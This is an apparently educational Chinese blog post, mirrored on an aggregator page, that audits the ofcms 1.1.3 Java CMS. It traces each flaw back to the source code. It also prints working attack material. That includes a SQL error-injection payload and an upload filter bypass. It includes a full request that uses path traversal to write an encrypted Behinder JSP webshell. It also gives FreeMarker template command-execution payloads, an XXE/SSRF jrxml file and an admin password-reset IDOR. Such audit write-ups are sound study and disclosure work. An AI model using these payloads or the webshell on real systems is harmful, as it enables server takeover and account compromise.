8

【Java代码审计】ofcms 1.1.3

 1 year ago
source link: https://fanygit.github.io/2022/10/09/[Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1]ofcms%201.1.3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

通过审计一些简单的源码学习代码审计。在审计过程感觉还是有很多代码看不懂,不管那么多了,先审起来。

后台sql注入漏洞

登录后台后,在系统设置->代码生成->添加中输入如下payload

update of_cms_ad set ad_id=updatexml(1, concat(0x7e, (database()),0x7e),1);

可以看到成功爆出了数据库名。

通过burp抓包,可以看到请求的路由。

在IDEA中 全局搜索system/generate

可以找到处理这个路由的类文件,在这个文件的45行可以看到一个create方法,刚刚的路由就是调用这个方法。

这里的getPara获取了传入的sql语句

接下来,跟进Db.update中。

这里先是建立了一个数据库连接,然后再次调用了update方法,继续跟进

这里就是比较关键的地方了,conn.prepareStatement是用来预编译sql语句的,executeUpdate 则是可以执行sql语句。

预编译通常都是先构造一个sql语句,然后需要传入的参数用?代替,然后挨个放进去,目的就是为了预防sql注入。但是这整条sql语句我们都能够控制。预编译根本没起到什么作用,也没有对sql做过滤,所以可以自己构造update报错语句进行报错注入。

任意文件上传2

这里先上传一个 文件后缀为 图片格式 png 的 jsp webshell,然后抓包。

当上传gif后缀格式的时候,是可以上传成功的。

但是上传jsp后缀格式就不行,由于是在windows下,使用::$DATA后缀绕过上传

在来看看上传文件目录下

当然,如果直接访问是访问不了的

还是通过burp抓包,查看请求的路由

全局搜索comn/service

ComnController文件的101行

上面是文件上传的逻辑,jfinal 使用 getFile进行文件上传,跟进getFile

跟进 MultipartRequest

跟进wrapMultipartRequest方法

在86行调用了一个 isSafeFile的方法

这里拿到了上传文件的文件名,去重并转换成小写,然后判断文件名末尾是否为.jsp.jspx,如果是则返回flase,就不进行上传。

但是在windows下,绕过的方式可以用shell.jsp::$DATA或在文件名末尾加.,比如shell.jsp. 都会保存为shell.jsp

任意文件上传2

在系统设置->模板文件中,点击保存,然后burp抓包

这里将 dirs 改成 ../../../static , file_name改成shell.jsp ,file_content改成jsp冰蝎马

file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../../static&res_path=&file_name=shell.jsp&file_content=<jsp%3aroot+xmlns%3ajsp%3d"http%3a//java.sun.com/JSP/Page"+version%3d"1.2"><jsp%3adirective.page+import%3d"java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp%3adeclaration>+class+U+extends+ClassLoader{U(ClassLoader+c){super(c)%3b}public+Class+g(byte+[]b){return+super.defineClass(b,0,b.length)%3b}}</jsp%3adeclaration><jsp%3ascriptlet>String+k%3d"e45e329feb5d925b"%3bsession.putValue("u",k)%3bCipher+c%3dCipher.getInstance("AES")%3bc.init(2,new+SecretKeySpec((session.getValue("u")%2b"").getBytes(),"AES"))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b</jsp%3ascriptlet></jsp%3aroot>

ofcms_admin\static

可以看到已经成功上传,直接用冰蝎连接

通过burp抓包可以路由为/ofcms_admin/admin/cms/template/save.json

TemplateController.java文件中

在107行

简单分析下,这里可以通过外部控制 res_path dirs file_name file_content这四个参数。

fileContent = fileContent.replace("<", "<").replace(">", ">"); 
File file = new File(pathFile, fileName); // 创建文件 文件路径 文件名可控
FileUtils.writeString(file, fileContent); // 将内容写入文件中 文件内容可控

经过分析,相当于是文件路径和文件名还有文件内容我们都可以控制,并且没有对文件名和文件内容进行限制,想传入什么都可以。而且文件路径还可以通过../../进行目录穿越,可以实现将文件传入到任意目录下。

pathFile = new File(SystemUtile.getSiteTemplatePath());

这条语句则会得到一个基础路径,通过debug可以得知

通过测试,可以访问到网站跟目录下的static下的资源文件,可以控制dirs../../../static 将冰蝎传入到static目录下,冰蝎链接,即可拿下。

任选一个payload放在模板文件的任意位置。

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

然后让我一个不存在的文件,就会自动跳转到404页面,然后弹出计算器。

这里的原理也很简单,这套网站使用了freemarker作为模板语言,并且我们还能控制网页模板文件,因此,只要能控制网页的地方,都可以将<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")} 执行命令的语句嵌入到网页中,然后访问就会执行。

XML注入

首先在本地用python起一个http监听

然后通过上面任意文件上传2的方式上传一个后缀为jrxml格式的文件

ssrf.jrxml内容

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>
file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../&res_path=&file_name=ssrf.jrxml&file_content=<!DOCTYPE+foo+[<!ENTITY+%25+xxe+SYSTEM+"http%3a//127.0.0.1/secret_pass.txt">%25xxe%3b]>

然后再访问用户管理->系统设置->导出全部,并抓包

发送到Repeater,修改j的参数为 ../ssrf 并提交

python收到了请求

根据路由report找到 ReprotAction.java

这段代码的功能就是用来导出报表的,前端可以传入参数j 可以控制读取 jrxml文件。

假设j传入的是ssrf, 那么 jrxmlFileName 变量得到的路径就是

/WEB-INF/jrxml/ssrf.jrxml

如果传入 ../ssrf 那么就会加载 WEB-INF目录下的ssrf.jrxml文件,所以通过目录穿越的方式,可以加载任意路径下的jrxml文件

/WEB-INF/jrxml/../ssrf.jrxml

但是只是加载任意路径下的jrxml 文件,有有什么用呢?

接下来,在46行中

跟入compileReport

这里的 JRXmlLoader.load(inputStream)这个方法 则可以解析 jrxml。而这里的inputStream 参数就是,刚刚通过j传入的文件名,然后进行拼接后打开文件流,只要能上传一个通过精心构造一个jrxml文件,那么就可以实现ssrf,读取文件。但是这里不会回显读取后的结果,所以只能构造一个实现ssrf jrxml文件。

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>

这里就利用了任意文件上传2中保存模板的方式在任意一个路径下,让后修改j的参数去路径下读取,即可加载到这个jrxml文件,实现ssrf攻击。

任意用户密码重置

创建一个test用户,并登录到test

发送到Repeater,修改user_id 的参数为1,即可修改管理员 admin密码 为 666666

接下来 登录到 admin

根据密码重置的路由 /ofcms_admin/admin/system/user/respwd.json 在源码中找到SysUserController.java

在 109行

在 respwd这个方法当中,首先会拿到两次输入的密码进行比对,如果不一致则直接返回,一致则将密码进行Sha256Hash进行加密然后set到Record这个对象中,这个Record对象就是封装了一个Map对象,可以对其进行get,set,最关键的一个地方就是,下面还获取了user_id 也并设置到Record对象中。然后执行Db.update。这里以user_id作为更新条件 从 record中去获取user_id,然后record中的user_id的其实就是外部传入的user_id。所以才可以通过控制user_id来重置任意用户密码。

到此就结束了,在审计的过程当中,有很多代码我都读不懂,读不懂的原因是因为使用了开发框架,没有去使用过,所以看起来很费劲。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK